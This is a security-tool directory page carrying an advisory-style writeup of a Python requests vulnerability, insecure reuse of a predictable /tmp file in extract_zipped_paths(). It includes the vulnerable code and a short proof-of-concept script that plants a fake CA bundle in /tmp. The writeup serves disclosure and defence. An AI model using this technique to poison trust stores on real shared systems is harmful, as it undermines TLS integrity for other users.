Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-25645 — Insecure Temp File Reuse in extract_zipped_paths() | Kitploit
Tools/GitHubGitHub/jaycelation/cve-2026-25645
Static AnalysisVulnerability AnalysisExploitationWeb SecurityPapers & Research
GitHubjaycelation/cve-2026-25645

CVE-2026-25645

Insecure Temp File Reuse in extract_zipped_paths()

View Repository
338 months agoNot yet reviewed
Share

[CVE-2026-25645] Insecure Temporary File Reuse in requests.utils.extract_zipped_paths()

Executive Summary

A vulnerability was identified in the requests library (Python) within the public utility function requests.utils.extract_zipped_paths(). The function utilizes a predictable, non-unique filename when attempting to extract files into the system's temporary directory (/tmp) and fails to verify the integrity or ownership of pre-existing files.

While the default behavior of requests combined with certifi is mitigated by importlib.resources, this utility remains a security footgun for downstream applications or custom implementations that rely on it to handle zipped resources.

Vulnerability Information

  • CVE ID: CVE-2026-25645
  • CWE: CWE-377 (Insecure Temporary File)
  • Severity: Moderate (5.0)
  • CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N
  • Affected Versions: < 2.33.0

CVSS v3 Base Metrics:

  • Attack Vector: Local
  • Attack Complexity: Low
  • Privileges Required: Low
  • User Interaction: Required
  • Scope: Unchanged
  • Confidentiality: None
  • Integrity: High
  • Availability: None

Technical Analysis

The Mechanism

The function requests.utils.extract_zipped_paths() is designed to extract members from a zip archive (often used for CA bundles in zipapp environments). The vulnerable logic follows these steps:

  1. Predictable Target: It joins the system temp directory with the basename of the zip member (e.g., /tmp/cacert.pem).
  2. Insecure Check: It uses if not os.path.exists(extracted_path) to decide whether to extract the file.
  3. Path Return: If the file exists, it immediately returns the path without ensuring the file was created by the current process or checking its content.

Root Cause Analysis

In requests/utils.py, the logic is implemented as follows:

# Path derivation using predictable basename
extracted_path = os.path.join(tmp, member.split("/")[-1]) 

# Insecure reuse of existing file
if not os.path.exists(extracted_path):
    # Extraction logic only triggers if file is missing
    ... 

# Returns path to potentially attacker-controlled file
return extracted_path

Impact & Exploitation

A Local Attacker with low privileges can exploit this by pre-creating a malicious file (e.g., a forged CA bundle) at the predictable path in /tmp. When a victim (user interaction required) runs an application that invokes this utility:

  1. The utility sees the file already exists.
  2. The utility skips extraction and returns the path to the malicious file.
  3. The victim application loads the attacker's data, leading to a High Integrity compromise (e.g., loading a forged trust store).

Proof of Concept (Standalone)

The following script demonstrates the vulnerability by showing how the utility reuses a pre-existing "fake" file instead of the legitimate one from the archive.

import os
import tempfile
import zipfile
from requests import utils

# 1. Attacker Step: Pre-create a malicious file in /tmp
TMP = tempfile.gettempdir()
fake_file_path = os.path.join(TMP, "cacert.pem")
with open(fake_file_path, "wb") as f:
    f.write(b"ATTACKER_MALICIOUS_DATA")

# 2. Victim Setup: A legitimate ZIP archive
zip_path = "resources.zip"
with zipfile.ZipFile(zip_path, "w") as z:
    z.writestr("certs/cacert.pem", b"REAL_LEGITIMATE_DATA")

# 3. Victim Action: Calling the vulnerable utility
zipped_member_path = f"{zip_path}/certs/cacert.pem"
resolved_path = utils.extract_zipped_paths(zipped_member_path)

# 4. Confirmation
print(f"[i] Utility returned path: {resolved_path}")
with open(resolved_path, "rb") as f:
    content = f.read()
    print(f"[i] Content read: {content}")

if content == b"ATTACKER_MALICIOUS_DATA":
    print("[!] Vulnerability Confirmed: Insecure file reuse successful.")

Remediation

The issue is addressed in version 2.33.0. The fix involves transitioning to importlib.resources to handle zipped resources more securely, ensuring that extractions occur in randomized, non-predictable directories and avoiding the reuse of existing files in shared world-writable directories.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    806
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    523
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    441
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    346
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    270
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    264

Explore all tools

Browse our collection of tools

View all tools →